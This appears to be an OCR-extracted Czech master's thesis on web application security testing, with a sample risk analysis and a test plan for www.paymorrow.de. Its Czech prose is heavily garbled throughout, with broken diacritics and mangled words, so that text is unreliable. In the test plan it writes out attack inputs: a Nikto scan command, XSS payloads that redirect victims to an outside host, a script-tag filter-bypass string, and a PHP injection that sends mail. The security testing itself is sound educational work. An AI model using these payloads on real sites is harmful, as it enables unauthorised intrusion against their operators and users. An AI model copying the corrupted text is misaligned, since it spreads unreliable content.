® Konfigurace serveru by &a vyZzadovat o¥feni na Urovni adres@ pro vSechny

soubory v daném adraésa

4.4.1 Konkrétni kroky

® Odstragni vSech teek z uzivatelského vstupu a parametrzachytit i te€ky

v kédovani Unicode a hexadecimalnim zapisu.

® Premistit citlivé soubory (n&p soubory .inc) z kiene webu do jiného adréea ke

kterému ma webovy servefigtup.



UTB ve Zling, Fakulta aplikované informatiky, 2010 47

® Zajistit vSechnacteni z utitého adres&, pouziti regularnich vyrézk odstragni
informaci o cest predchazejici nazvu souboru (fap/cesta/cestal/soubor” byén

byt omezeno na ,/soubor*.

® Spustit webovy server podt@ém s nejmensimi oprasmimi (,nobody* na Unixu nebo
,Guest* na Windows), omezit¢ét tak, aby umaioval pouzetist soubory z adresia

souvisejicich s webovou aplikaci.

® Proti utokim pomoci skript prevest vSechny Sgaté zavorky na jejich v HTML
kédované ekvivalenty (levou zavorku na ,&lt“, pravoa ,&gt") — zabrani spu&ti

<script>...

® Omezit pole pro vstup na minimum — jména nebyvaj§idnez 20 znak telefonnim
cistim sta&i 14 znak, kdezto ¥tSina utoki pomoci skripi vyZzaduje alespo 17

znaki.

® Pokud aplikace umaiije uzivatehm definovat wité HTML tagy (tl&né pismo,
kurziva nebo podtrZzeni préaané diskuze), je pteba pro validaci pouZzit regularnich
vyrazi. Kontroly musi byt inkluzivni (vyhledat a povolfgouze pijatelné tagy a
vSechny zbyvajici zavorky zakddovat do HTML), nikexkluzivni, které mohou byt

obejity nap. ,<<script>", ,<b+<script>".

4.5 Zabezpdené ulozisE dat

Kazda databdze ma vlastni metody zab&ape instalace a uz&emi. Krong toho

muzeme zabranit Gtdkn vioZenim SQL na Urovni aplikace.

Robustni oSefeni chyb — nikdy nepedavat chyby ODBC nebo jiné chyby uzivatelii P
informovani uzivatele o problému pouzivat vSeobecmgbové stranky a procedury pro
zpracovani chyb, které sice informuji uzivatele robtemu, ale neposkytuji systémove

informace nebo pro#émné a jina data.
Seznamy parametii — protoze spojovanirettzci poskytuje nejjednodussi @gob
zmanipulovani fikazu pomoci uvozovek, musi byt uZivatelem vypbo data vioZzena do

konkrétnich prorennych.

UloZzené procedury — uzivatelem definované procedury je olieennohem sloZsi

napadnout vioZzenim SQL, protoZze vyZzadugityrpocet paramefr ve specifickém formatu
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na danych mistech. Tim poskytuji dostate patet podminek, které musi byt spihy.
Navicéasto poskytuji zvySeny vykon.

e

nejniz§i mozna opra¢ni. Musi samozjmé umozovat ¢teni a zapis do pouzivané

databaze, ale uz nemusi zapisovat do hlavni daabaz

Ochrana schématu— nevyzrazovat nazvy tabulek, sloupa struktury SQL v HTML.
Pokud vyvojé chteji pomicku, mizou si strukturu tabulky ulozZit jako komehtéa ASP,
kde ji mohou vidt pouze oni, ale nikdy ne do HTML komehtakteré niize zobrazit

uzivatel, pop. atanik.

4.6 Zabezpeeni webovych sluzeb

Zakladnim pedpokladem je neukladat citliva nebo soukroma dat&XML a owtovany
piistup k adredd ve kterém jsou soubory DISCO a WSDL uréist

DalSimi kroky pro bezpgmé pouzivani webovych sluzeb jsou zaj$t owrovani,
zabezpeéeni XML, Sifrovani SSL a pouzivani WS-Security, j@éfinuje sadu roz&ni

protokolu SOAP pro astovani, integritu a utajeni v komunikacich webovsgtizeb.

Pristup k webové slugbprostednictvim HTTP niZze byt omezen @rovanim steja jako
u webovych aplikaci, navic se da pouzit vlastnieéavacich mechanisim jako nap.

piedani powieni pro o¥rovani v hlavice nebodle zpravy SOAP.

4.7 Bezpe&na sprava webovych aplikaci

Mrivrw s

zaplat pro pouzivané systémy pro spravu. Dal€rawani veskerého ffstupu pro
vzdalenou administraci, pouzivani beapgh hesel, nepouzivantgunastavenych hesel,
omezeni vzdalené spravy na jedinou IP adresu nabmalou skupinu adres, pouzivani
komunikaniho protokolu zabezpeného proti odposlechu (SSL nebo SSH) a pouZzivani

jednoho serveru jaka'estupni stanice pro vzdalenou spravu vice server

V neposlednitad je bezpénostnim pravidlem omezeni diulsluzeb na vnihi siti, ke
kterym miZze webovy serverfistupovat. Vhodné hi¥e byt i fyzicky izolovat webovy

server od zbytku organizace.
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4.8 Zabezpdeni webovych klienfi

4.8.1 Obrana proti aktivnimu obsahu

Obranou na stra@nklienta proti utokm pouZzivajicim aktivni obsah trhe byt zakazani
aktivniho obsahudhem prohliZzeni webu, na stéagerveru je to nepouzivani technologii,

které by mohly byt zneuzZity k GtokuiiRejich pouziti by se rély dodrZzovat zasady:
® ovladaci prvky by negly byt ozn&eny jako ,safe”, pop provadt jen zcela neSkodné
funkce a nechat je projit nezavislymeganim bezpénosti
® psatci distribuovat kvalitni ovladaci prvky, které nepéakji privilegované akce

® byt pripraveni rychle opravit slaba mista, pokud buddezena

4.8.2 Obrana proti cross-site scripting:

Na strag klienta ot pomize zvysit bezp@ost zakaz skriptovani a zobrazovaniitag
<META REFRESH> a <IFRAME>.

Na strag serveru — vyvoja webovych aplikaci by vzdy #&i pouzivat podprogramy pro
validaci vstupnich dat pro wgteni vSech vstup do aplikace a také odstranit zavorky < a

>, které uzavirajitizné skriptovaci tagy pouzivané k vlozeni aktiviobsahu do HTML.

4.8.3 Obrana proti manipulaci se soubory cookie

Zakladni pravidlo, platici stejnu vSech ¢asti bezpénych webovych aplikaci, radi
nepouZzivat cookie, pokud pouzity byt nemusi. N&jvpozor jefieba davat na nastavovani
perzistentnich cookie ip jakychkoli pochybnostech o integfitklientského poitace.
Cookies by nily byt nastaveny s vyuzitim nahodnéhocklirelace (session key), jehoz
platnost je na serveru omezena a htas® vyhnout uziti cookie ze kterého je moZint
data tykajici se bezpeosti (nap. ADMIN=TRUE). Sifrovani cookie by mohlo zabranit

zmené na strag klienta.

V kapitole bylo¢erpano ze zdroje [1].
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5 ANALYZARIZIK

Detailni analyza rizik se provadi na miru kazdébdniku, popipact produktu, a musi

obsahovat nasledujici kroky:
1. Identifikace majetku
2. Vyhodnoceni dopadu na chod firmy
3. Identifikace hrozeb

4. Vyhodnoceni hrozeb

5.1 Identifikace majetku

Jedna se o identifikaci diskrétnich informaci, kAoew nebo hmotného majetku,
nezbytného prodh dané webové aplikace. Utoky mohou byt vedenyi plaiim, softwaru
i hardwaru. V tétaiasti musime najit opravdu vSechna data, ktera dylanwyt ztracena,
znicena nebo vyzrazena negtenym osobam, vSechny fitace i software na nich
instalovany. Nerizeme zapomenout ani na nehmotny majetek, jako pmutaee
spole&nosti, kter4 miZze @i napadeni Gttnikem utrgt. Nemér dulezitym majetkem jsou

také napady a vynalezy.

Nemgl by byt vyhodnocovan jen majetek uvngpole€nosti, ale majetek spalrosti vSude
kde se nachazi, jako namotebooky nebo mobilni telefon§ipové karty a kreditni karty,
které maji zastnanci u sebeipobchodnich cestach nebé prezentacich na veletrzich.
Pokud rkdo ukrade péita¢ pouzivany k prezentaci produktu, spolest ffijde o rekolik
desitek tisic korun za hardware, alefipp, Ze se na pevném disku nachazely vykresy
prototypu nového vyrobku, cena sé&za vySplhat do miliol a spolénosti nezbyva nez

doufat, Ze zlog vzal paita¢ kvili hardwaru a nebude prohledavat, co jeémruloZeno.

5.2 Vyhodnoceni dopadu na chod firmy

Odhad hodnoty informia¢ vztazeného majetku a jehdilezitost pro spoknost, neboli
odhad dsledki na chod a existenci spofesti pro pipad ztraty dvérnosti, Uplnosti a
nebo dostupnosti majetku. ¥chto krocich je vyhodnocena rfédgad hodnota vykresové
dokumentace prototypu, fin&m ztrata P poruSe webového serveru, nebo ztraty

zpisobené smazéanim zalohovanych dat. V prvnim krokigdesatifikuje veSkery majetek,
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nyni je poteba vyhodnotit jeho hodnotu. Pro risk analyzu sgod@&uje pouzivat tabulku,
kde v prvnim sloupci je vypsan veSkery identifikoyamajetek a v dalSich sloupcich
roz&klen dopad na spalaost pro pipad ztraty dvérnosti, Uplnosti a dostupnosti. Dopad
se nedoportuje vyjadovat perzni hodnotou, ale r&f relativnimi hodnotami, jako nap
maly, stedni, velky, nebdaisly (1, 2, 3 ,4, 5). Tabulka musi byt vyfeda s manazery nebo

odpowdnymi pracovniky spolosti.

5.3 Identifikace hrozeb

V této chvili risk analyzy se provadi odhady udglokteré by mohly negatiwnovlivnit
hodnotu majetku a definuji se slabiny, které by ipdaitok zjednodusit. Mezi hmizeme
zaradit moznost Spionaze, konkutemn boj, zménu celos¢¥tového mirni, chyby ve
webové aplikaci, nebo i prosté &zné hrozby jako je vypadek elékly, pokazeni

hardware, nebo Uraz zodgowého pracovnika.

5.4 Vyhodnoceni zavaZznosti hrozeb a stugnzranitelnosti

Odhaduje se pra¥godobnost vyskytu hrozby a miru slabosti systénaii glané hrozé.
NejvétsSi hrozbou mize byt chyba serveru nebo jiného hardware, v jinéntvi to mize
byt moznost Spionaze nebo teroristicky Utok. Prbognoceni se @p pouzivaji tabulky.
V prvni tabulce se definuje mira zranitelnosti jakgsledek frekvence utoku a
pravdpodobnosti usgrhu. V dalSi tabulce se z miry zranitelnosti a diopaci stupe

rizika. Podle &chto tabulek se poté doplni mira rizika pro kazkdmzbu.

5.5 Nasledné kroky

Po provedeni analyzy rizik sice podnik zjisti, gtarhrozbam je nejvice vystaveny, ale to
mu WtSi bezpeénost nezajisti. Proto se v souvislosti s analyzaik mluvi také o risk
managementu, ktery krisk analyzé&idava navrh, aplikaci a kontrolu bezpestnich

opateni.
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Majetek Slabiny Hrnzbvw § ) =
Riziko ) E -
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Bezpefnostni opatreni ) K

Obrazek 7: Risk management

Kroky po provedeni risk analyzy:
1. Rozhodnuti co s identifikovanymi riziky —irheme vybirat mezi moznostmi riziko:
a. Odstranit — zamezenim hrozby
b. Akceptovat — neglat nic
c. Prevést — na jiny subjekt, nagpojiS€nim
d. Zmirnit — provést op&tni, které zmirni nasledky

2. ldentifikace moZnych op#ni — jaké existuji Zjsoby ochrany. Mze to byt
firewall, UPS, poji&ni, automatické zalohovani. Ke kazdé technice zaeznat,

co miZe uctlat (jestli utok zamezi, odradi, detekuje, gdm@ obnoveni) a cenu.

3. Vybér opateni — k hrozbam iradit vSechna mozna opani a s otivodrenim

Z nich vybrat to které se pouzije
4. Implementace

5. Kontrola bezpénosti

5.6 Zavér analyzy rizik

Hodnoceni Utok podle zavaznosti je mozné pouzeriblgdnutim k testované aplikaci a

nelze ho ufit obecrd. Hodre Utoki je si podobnych a i kdyZz pouZivaji jinou metodu
(cross-site scripting, nebo sql insert pro obejtirovani, nebo dalSi na obejiti autorizace),
cilem je stale ziskat neautorizovaniispup k aplikaci/serveru/databazi, ze které by se

mohly vy¢ist, pog. upravit tdaje.
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6 ANALYZA RIZIK WEBOVE APLIKACE

PrestoZe analyza rizik se musi prostad kazdém podniku zvlé& pro kazdé odivi bude
mit jednotlivy majetek jiny vyznam, pokusim se pEsv ukdzkovou analyzu rizik pro
aplikaci redlného elektronického obchodu, jehoZnmeé pochopitelnych bezgmeostnich

davodi nemohu zviejnit.

6.1 ldentifikace majetku
— Data
0 Zakaznicka data
o Transakni data
— Software
o Webovy server
0o Databaze zakaznik
o Databaze transakci
o0 Aplikace internetového obchodu
o Oper&ni systém na serveru
o Oper&ni systém na PC obsluhy
— Hardware
o Server
o PC obsluhy
o Router
o Sit

0 Internetové fipojeni

0 Systémovy administrator

0 Zamestnanec
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6.2 Vyhodnoceni dopadu na chod firmy

1. Definujeme stup&dopadu:

davérnost Uplnost dostupnost
maly 0-1000 K& 0 - 1000 K¢& méné neZ hodina na opravu
stiedni | 1 000 - 10 000 K¢& | 1 000 - 10 000 Ké& 1-12 hodin na opravu
velky > 10 000 K¢& > 10 000 K& vice nez 12 hodin na opravu

Tabulka 6: Stupedopadu

V této tabulce se na miru firmy definuje p&ni acasova ztrata pro maly,ietini a velky

dopad, pi ztra€ daveérnosti, Uplnosti a dostupnosti inforimg vztazeného majetku.

2. Vyhodnoceni dopadu:

majetek ztrata dopad
daveérnosti maly
uzivatelska data Uplnosti maly
dostupnosti maly
daveérnosti maly
transakéni data Uplnosti stredni
dostupnosti velky
daveérnosti stfedni
server Uplnosti velky
dostupnosti velky
daveérnosti
Uplnosti
dostupnosti »

Tabulka 7: Vyhodnoceni dopadu

Vyhodnoceni dopadu se provadi pro vSechen ideotifiky majetek. Vyhodnocuje se

dopad pro ztratutd/érnosti, Uplnosti a dostupnosti majetku.

6.2.1 Identifikace hrozeb
prost Fedek

jméno hrozby Gtoku motiv ovlivh ény majetek metoda

cross site scripting | hacker session hijacking aplikace hacking

SQL injection hacker Cteni (zapis) databéaze transakéni databdze | hacking

SQL injection hacker login bez hesla uzivatelska databaze | hacking

upload soubor hacker spusténi libovolného kédu | webovy server hacking

vypadek serveru systém chyba server vypadek elektfiny
socialni inzenyrstvi | zaméstnanec | krddez dat uz/trans. databéze socialni inzenyrstvi

.“Tabulka 8: Identifikacenhrozeb
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Do tabulky identifikace hrozeb se zapisuji vSechmoZzné utoky a hrozby, které by mohly
ovlivnit bezpé&ny chod firmy. K nalezenym hrozbam se€ujf prostedky, metody a motiv

utoku a majetek ktery by mohl byt hrozbou oviian

6.3 Hodnoceni zavaznosti hrozeb

1. definovat stupe zranitelnosti

frekvence pokus U
5 velka stiedni mala
’g > 1/tyden 1/tyden - 1/rok < 1/rok 0
3 velka velké velké stfedni malé
g stredni velké stredni malé 0
§ mala stredni malé malé 0
B 0 malé 0 0 0

Tabulka 9: Stupfizranitelnosti

Tabulka stup#é zranitelnosti se duje podle Sance hrozby na dsp (pravédpodobnost
Uspéchu @i utoku) a frekvence pokus(jak ¢asto se Utok d¥e odehravat)Casovy

horizont se ufuje na miru firmy.

frekvence Sance na stupen
jméno hrozby pokus U usp éch zranitelnosti
cross site scripting | stfedni velka velky
SQL injection stredni mala maly
upload soubori mala stfedni maly
vypadek serveru stredni velka velky
socialni inzenyrstvi | mala stfedni maly

Tabulka 10: Vyhodnoceni zranitelnosti

V tabulce vyhodnoceni zranitelnosti se k jednotiiviirozbam firazuji frekvence pokuis

a Sance na usph a podle fedchozi tabulky se doplni stuperanitelnosti.

2. definovat stupgrizika

stupe n dopadu
"§ velky stfedni maly 0
é velka velké velké stredni malé
§ stredni velké stfedni malé 0
’cza_ mala stredni malé malé 0
5 0 malé 0 0 0

Tabulka 11: Stuperizika
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Stupe rizika se ukuje ze stupé zranitelnosti (jakéasto a s jakym usphem) a stuph

dopadu (jakou ztratu #gobi).

3. hodnoceni zavaznosti Utibk

stupe n stupe i
jméno hrozby riziko dopadu zranitelnosti | stupe n rizika
cross site scripting | ztrata dlvérnosti dat | maly velky stiedni
SQL injection ztrata Uplnosti dat stfedni maly maly
upload souboru ztrata dostupnosti velky maly stiedni
vypadek serveru ztrata dostupnosti velky velky velky
socialni inZenyrstvi | ztrata davérnosti maly maly maly

Tabulka 12: V;/.hodnoceni riz.i.l.<a

Poslednim krokem je vyhodnoceni vSech rizik, kdkasdému riziku podle stuprdopadu
a zranitelnosti pradi stup@ rizika. Timto krokem analyza rizik koéh) dale by se o

pokratovat risk managementem, ktergijjaké kroky @init k napra¥ nalezenych slabin.
Z prav provedené ukazkoveé analyzy rizik vyplyva, Ze aéjovéjSim clankem je vypadek
serveru, proto by #h byt jeho vypadek pojish nagiklad UPS zdrojem, nebo

elektrocentralou.
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7 TESTING SKELETON
Postup testovani bezp®sti nazor zobrazuje vyvojovy diagram:
START TESTU
Nalezena Zapsat chybu
, chyba? do seznamu
Seznameni se $
aplikaci
I Test spravy stavy
N relace h
Automaticky
test serveru
v Nalezena Zapsat chybu}
. ? do seznamu
Automaticky chyba
test aplikac
Test validace vstu} [¢
A
Test orovani
Nalezena Zapsat chybu
chyba? do seznamu
Nalezena Zapsat chybu
chyba? do seznamr
Test webovych |
klienta A
Test autorizacee
Nalezena Zapsat chybu
chyba? do seznamu

Vyhodnoceni
vysledki,
KONEC TESTU

Obrazek 8: Optimalni strategie testovani beénpsti
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Casovou narénost kazdého kroku udava nasleduijici tabulka:

krok testu casova nfé\ro étlost
[ % celkového ¢&asu ]

Seznameni se s aplikaci 5
Automaticky test serveru 15
Automaticky test aplikace 20
Test ovéfovani 15

Test autorizace 15
Test spravy stavu relace 10
Test validace vstupl 15
Test webovych klientt 5

Tabulka 13Casova narénost kroki testu

Jednotlivé kroky by rly obsahovat:

1.

Seznameni se s aplikaci — d@v aplikace, proklikani, zji&i k cemu slouZzi, co

poskytuje...

Automaticky test serveru — programem pro automgtisganning slabych mist

webového serveru (napNikto) owtit zadany server.

Automaticky test aplikace — programem pro autorkgtiscanning slabych mist
webové aplikace (ndp WebSleuth) ogtit zadanou aplikaci, vyhledat vSechny

dostupné stranky, soubory, scripty, komémtéormul#e...

Test o¥iovani — pokusit se prolomit &kovani do zabezgené casti aplikace

haddanim hesel, hrubou silou a obejitifinfaSovani.

Test autorizace — pokusit se dostat do zaliezrgetasti aplikace zinou vstufh
(cookie soubory, URI, skryté tagy, data POST azmtpiettzec). Pokud je mozné
vytvorit Géet a rozdilovou analyzou odhadnout, jak se da tdésttim dalSich

uzivateh.

Test spravy stavu relace #egstirat identitu jiného uzivatele. Je nutné idiavat
informace o stavu relace a zachytit informace wusjmého uzivatele, nebo zma

vlastnich pro ziskani vysSich opréan

Test validace vstup— pokusit se feplnit vyrovnavaci pat’ pro vSechny nalezené
vstupy (nejenom formui@), vyzkouSet cross-site scripting a dalSi utokynpoi

scripti a nakonec SQL injection.
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8. Test webovych Klierit — ot pokus o cross-site scripting a dalSi utoky pomoci
script, tentokrat zarrené proti webovému prohli&Gea nebo e-mailovému klientu

uzZivatele.
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8 PRAKTICKY TEST

Prakticky test webového serveru http://www.paymerde byl provadn v nasledujicich

krocich:

1. Scaning webového serveru - test webového servesgrgmem Nikto 2.1.4 na
zname slabiny, obsah potencilmebezpénych soubal a gitomnost nejno§Sich

aktualizaci serveru

2. Scaning webové aplikace - programem WebSleuth &j#t mSechny dostupné
soubory aplikace paymorrow.de a vyhledani potengiglabych mist v nalezenych

souborech

3. Testovani nalezenych slabin serveru a aplikacety teéfovani a validace vstup

Pri testech nebyly nalezeny Zadné zavazné hemseni problémy. Byla sice nalezena
potencialg slaba mista, jako formuié na registraci a nebo domlouvanitsadk, ale i ty v
testu obstaly a silnou validaci dat nedaly ZadngmyrzkouSenych testSanci na prolomeni

bezpeénosti.

Vysledky tesk jsou uvedeny v nasleduji tabulce a kompletni téstpecifikace je uvedena

v Priloze 1 — Testovaci plan.
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|Test Report: Results of Test Cases for all Builds

Test Project : Paymorrow

Test Plan : Kompletni test plan
Test Suite Test Case Build
20110821
Scaning weboveho serveru 8:Test webovaho sarveru Passed
Scaning weboveho serveru 10:Vyhodnaocent vysledk( testu Passed
Scaning webove aplikace 13:Seznam vsech dostupnych soubord Passed
Scaning webove aplikace 15:Hledani slabych mist v nalezenych Passed
souborech
Test webove aplikace 18: Dowmnload Passed
Test webove aplikace 20:DEBUG HTTP Passed
Test webove aplikace 22:Images Passed
Test webove aplikace 24:pocitadlo Passed
Test wehave aplikace / Test formulare na sjednani schiizky 27:Registrace schiizky Passed
Test webove aplikace / Test formulare na sjednani schizky 29:Validace vstupu Passed
Test webove aplikace / Test formulare registrace noveho 32:Registrace obchodu Passed
abchodu
Test webové aplikace / Test formulare registrace noveho 34:Validace vstupl Passed
obchodu
Test webove aplikace / Test overovani 37:0verovani obchadnikd Passed
Test webove aplikace / Test overovani 39:0verovant nakupujicich Passed

Generated by TestlLink on 21/08/2011 20:24:56

Obrazek 9: Vysledek testu
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ZAVER
Diplomova prace se zabyvala testovanim b&zpsti webovych aplikaci.

V avodni ¢asti byla vypracovana literarni reSerSe, kdy byjpme zpracovan celkovy
piehled testovani software a poté se &Sjvcast zamdiila na testovani bezpeosti
webovych aplikaci. Testovani bezpesti bylo rozdleno na mapovani aplikace a samotné

testovani, kde byly testy rodeny podle zjpsohi Gtoki na webové aplikace.

Ve druhé c¢asti byla zpracovana kapitola navrhu beényeh aplikaci v navaznosti na
pouzivané metody testovani. Vysledkem této kapigy sepsana pravidla a dop@eni,

podle kterych by &y byt aplikace vyvijeny, aby byly odolné proti v&itokim hackei.

Nasledujicicast se ¥nuje analyze rizik. Byl zde shrnut postup vSechkkreytvaeni
analyzy rizik nejprve obe¢na v praktickécasti potom uveden ukazkovyiklad analyzy
rizik webové aplikace — elektronického obchodu. ndlgzy rizik vyplynulo, Ze
nejrizikowjSimi ¢astmi budou vypadek serverutgpbeny perusenim dodavky elektrické

energie a chybami software elektronického obchodu.

V piedposledniasti byl zpracovan postup pro black-box testov@zipgnosti webovych
aplikaci. Postup dopokuje pouZziti automatickych nastéopro pitizkum serveru a aplikace
a poté rdni testovani nalezenych slabin. Vysledkem této thfpitaké byla srovnavaci

tabulka, ktera dopotwije kolik ¢asu by se #o vénovat jednotlivym krokm testu.

Poslednim bodem diplomové prace byl prakticky testpé€nosti weboveé aplikace. Pro
test byl vybran server http://www.paymorrow.de. MNavtestu vyuZival postup
doporienych v pedeslych kapitolach. Vysledkem testu je, Ze apékgcbezpéna proti
vSem utokm uZivanych crackery, protozZéippestu nebyly nalezeny Zadné bespestni

chyby.
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CONCLUSION

This thesis was focused on web applications sgdasting.

The introductory part summarizes processed litegatstudy, during which overall
summary of software testing was written first ameint the main part was focused on testing
security of web applications. Security testing widded into application mapping and

application testing, which was again divided basedavays of hacking web applications.

The second part deals with methodology for develamnof secured applications, based on
used crackers techniques. Findings of this chapterwritten in a form of rules and
recommendation, which should be used during apgmits. development and to make

applications resistant against all known attacks.

Following part is focused on risk analysis. Dedwip of a risk analysis process is

described, followed by a practical example of asialpf e-commerce web application.

In the next part, recommended strategy for black-besting of security of web
applications was created . Strategy recommendsguautomatic tools for scanning
weaknesses of web servers and applications andntlagoial tests of found weaknesses.
Outcome of this chapter is also the comparativeetahich recommends how much time

should be spent for each of the test steps.

The last part of this thesis is a practical seguest of website http://www.paymorrow.de.
Design of this test was based on the strategy remnded in previous chapters. The
summary of this chapter is that application is sedwagainst all attacks used by nowadays

crackers, as no security faults were found duriegtést.
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SEZNAM POUZITYCH SYMBOL U A ZKRATEK

ASP
DISCO
DoS
EFT
FBI
FTP
HTML
HTTP
HTTPS
IC3
IPR
NW3C
PHP
SOAP
SQL
SSH
SSL
TCP
URI
URL
WSDL
WS-Security
XML

Active Server Pages

Discovery OF File

Denial of Service

Electronic funds transfer

Federal Bureau of Investigation

File Transfer Protocol

HyperText Markup Language

Hyper Text Transfer Protocol
Hypertext Transfer Protocol Secure
Internet Crime Complaint Center
Intelectual property

National White Collar Crime Center
Hypertext Preprocessor

Simple Object Access Protocol
Structured Query Language
Secure Shell

Secure Sockets Layer
Transmission Control Protocol
Uniform Resource Identifier
Uniform Resource Locator

Web Service Description Language
Web Services Security

Extensible Markup Language
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1 Test Suite Scaning webového serveru

1.0 Details

Test webového serveru programem Nikto 2.1.4 na zndmé slabiny, obsah potencialné
nebezpecnych soubord a pfitomnost nejnovéjSich aktualizaci serveru.

Test Case 8: Test webového serveru

Summary:

Programem nikto provést test na cilovy server dotazem perl ./nikto.pl -C all -output
report.htm -h www.paymorrow.de

Steps:

1. Spustit pfikazovy fadek z adresy, kde jsou rozbaleny scripty Nikto
2. Ptikazem perl ./nikto.pl -C all -output report.htm -h www.paymorrow.de spustit test,
sledovat vystupy

Expected Results:

1. Prikazovy fadek je spusStén na adrese obsahujici perl scripty Nikto
2. Test probéhl v pofadku a je ukonéen

Pass / Fail: Test Notes:

Author Ryba

Test Case 10: Vyhodnoceni vysledk ( testu

Summary:

Podle automatického testu projit report a provéfit vSechny nalezené mozné problémy

Steps:

1. Oteviit test report report.htm, zkontrolovat jestli test probéhl v pofadku, pro vSechny
nalezené slabiny provést kroky 2-5

2. V test suite Test webové aplikace vytvofit novy test case

3. Podle fadku Description v souboru report.htm vyhledat informace o mozné slabing,
zZjistit jak testovat a pfipravit podklady na test

4. Podle fadku Test Links v reportu zjistit na které strance se slabina nachazi, zapsat
do pfislusné test case

5. Pridat test case do test planu Test webové aplikace

Expected Results:

Lo

Test report otevien, obsahuje zacatek i konec testu, zjistény nazev webového
serveru a jeho adresu.

Novy test case je vytvofen

Podklady pro testovani popsany v nové test case

Podklady pro testovani popsany v nové test case

Test case pfidana do test planu Test webové aplikace

arwN

Pass / Fail: Test Notes:

Author Ryba




2 Test Suite Scaning webové aplikace

2.0 Details

Programem WebSleuth 1.4 najit vSechny dostupné soubory aplikace paymorrow.de, cilem je
nalezeni vSech dostupnych stranek a slabych mist, které mohou obsahovat

Test Case 13: Seznam vSech dostupnych soubor 4
Summary:

Programem WebSleuth ziskat seznam vSech pfistupnych soubor webové aplikace
www.paymorrow.de

Steps:

1. Spustit program WebSleuth, proveéfit adresu http://www.paymorrow.de/ na vSechny
dostupné soubory, vytvofit seznam dostupnych odkazu

2. Kazdy z nalezenych odkaz( provéfit programem WebSleuth na pfitomnost dalSich
linkdl, nové pfidat do seznamu

Expected Results:

1. Seznam odkazu adresy http://www.paymorrow.de/ je vytvoren
2. Do seznamu jsou pfidany vSechny dostupné soubory celé aplikace

Pass / Fail: Test Notes:

Author Ryba
Test Case 15: Hledani slabych mist v nalezenych sou  borech

Summary:

Kazdou nalezenou stranku scanovat programem WebSleuth a ke kazdé strance zapsat
objevené formulare, scripty, komentéare, cookie, obrazky, dotazovaci fetézce...

Steps:

1. Projit postupné seznam vSech pfistupnych soubort aplikace, pro kazdy link provést
scan na pfitomnost slabych mist.

2. V pfipadé nalezeni formulare, scriptu, zajimavych informaci v komentafi, obrazka,
cookie, nebo fetézcovych dotaz( provést kroky 3-5

3. Podle toho o jaké slabé misto se jedna vytvofit v test suite Test webové aplikace
noveé test cases na otestovani vSech moznych moznosti ttoku

4. Zjistit maximum informaci o nalezeném mozném slabém misté, zapsat je do test
case

5. Pridat test case do test planu Test webové aplikace

Expected Results:

1. Scaning jednotlivych linkd je spustén

2. Prohledany zalozky Forms, Scripts, Comments, Cookie, Images a QueryStrings

3. Nové test cases pro otestovani nalezenych moznych slabin jsou vytvofeny

4. Informace o slabiné, mozném zneuziti a zpusoby testovani jsou vyhledany a
zapsany do pfislusnych test case

5. Test case je pfidan do test suite Test webové aplikace




Pass / Fail: Test Notes:

Author Ryba

3 Test Suite Test webové aplikace

3.0 Details

Otestovat vSechny slabiny nalezené pfi scanovani webového serveru a aplikace

Test Case 18: Download

Summary:

Prozkoumat adresar download, na ktery nevedou zadné odkazy, jestli se tam nachazi i
néco jiného nez statické pdf, jestli obsahuje néjaké stranky

Steps:

1. V prohlizeci zobrazit adresu http://paymorrow.de/downloads/

2. Pokud obsahuje néjakou stranku, pak zobrazit jeji zdrojovy kod, projit co obsahuje,
vyhledat pfitomnost moznych slabych mist, ovéfit je

3. Pokus se najit dalSi pdf soubory, na které nevedou odkazy, vyzkouset podobna
jména.

4. Pokusit se najit config soubory apod.

Expected Results:

1. Zobrazena bud chyba 404, nebo www stranka

2. www stranka je bezpecna, neobsahuje zadné napadnutelné misto

3. Adresar neobsahuje zadné dalSi soubory nez na které vedou odkazy, vSechny
pokusy o pfepsani adresy vedou k chybé 404

4. Adresaf neobsahuje zadné dalSi soubory nez na které vedou odkazy, vSechny
pokusy o pfepsani adresy vedou k chybé 404

Pass / Fail: Test Notes:

Author Ryba

Test Case 20: DEBUG HTTP

Summary:

Test mozné slabiny z automatického testu webového serveru. DEBUG HTTP verb may
show server debugging information. See http://msdn.microsoft.com/en-
us/library/e8z01xdh%28VS.80%29.aspx for details.

Steps:

1. Otevfit adresu http://www.paymorrow.de/index.php

2. Ulozit zdrojovy kéd stranky

3. Pridat parametry dbg a debug s hodnotami TRUE, True, true, T, 1 do adresy, takZe
ta bude vypadat napf. http://www.paymorrow.de/index.php?dbg=TRUE, porovnat
jestli stranka nezobrazuje Zadné informace navic

Expected Results:




1. Stranka je oteviena a prohlédnuta
2. Zdrojovy kdd stranky je ulozen
3. Stranka nezobrazuje Zadné dodate¢né informace, je totozna s puvodni bez
parametru
Pass / Fail: Test Notes:

Author Ryba

3.1 Test Suite Test formula Fe na sjednani sch uzky

3.1.0 Details

Test formulafe na adrese http://www.paymorrow.de/grundlagen/termine/index.php

Test Case 27: Registrace sch tzky

Summary:

VypInéni ocekavanych dat, diky nim se pokusit ziskat vic informaci o autorizaci webu

Steps:

1. Prejit na adresu http://www.paymorrow.de/grundlagen/termine/index.php
2. Vyplnéni o¢ekavanych dat a odeslani formulare

Expected Results:

1. Webova stranka http://www.paymorrow.de/grundlagen/termine/index.php
zobrazena
2. Data odeslana, ziskané informace nevedou k obejiti autorizace webu

Pass / Fail:

Test Notes:

Author Ryba

Test Case 29: Validace vstup G

Summary:

Testovani validace vstupu preplnénim vyrovnavaci paméti, kontroly povoleného javascriptu a PHP

Steps:

Do formulafovych poli na adrese
http://www.paymorrow.de/grundlagen/termine/index.php vlozit velké mnozstvi dat
Vyplnit oéekavana data, za jméno pfidat javascriptovy kod
<script>window.location.replace("http://www.gs500e.unas.cz/paymorrow2.php");</scrip
t>

Vyplnit oéekavana data, za pfijmeni pfidat javascriptovy kéd
<scrscriptipt>window.location.replace("http://www.gs500e.unas.cz/paymorrow3.php");<
[scrscriptipt>

Vyplnit oéekavana data, do pole Fragen vorab pfidat PHP kod: <?

Mail("tomsv650s@gmail.com”, "paymorrow php", "Lze spoustet php", "From: " .




"phpSchuzka@paymorrow.de"); ?>

Expected Results:

1. Server se nezhrouti, zobrazi chybovou hlasku, nebo vezme registraci i s velkym
mnozstvim dat

2. Zkontrolovat pfichozi e-maily, zadna nova zprava od xssSchuzka@paymorrow.de

3. Zkontrolovat pfichozi e-maily, zadna nova zprava od xss2Schuzka@paymorrow.de

4. Zkontrolovat pfichozi e-maily, zadna nova zprava od phpSchuzka@paymorrow.de
Pass / Fail: Test Notes:

Author Ryba

3.2 Test Suite Test formula e registrace nového obchodu

3.2.0 Details

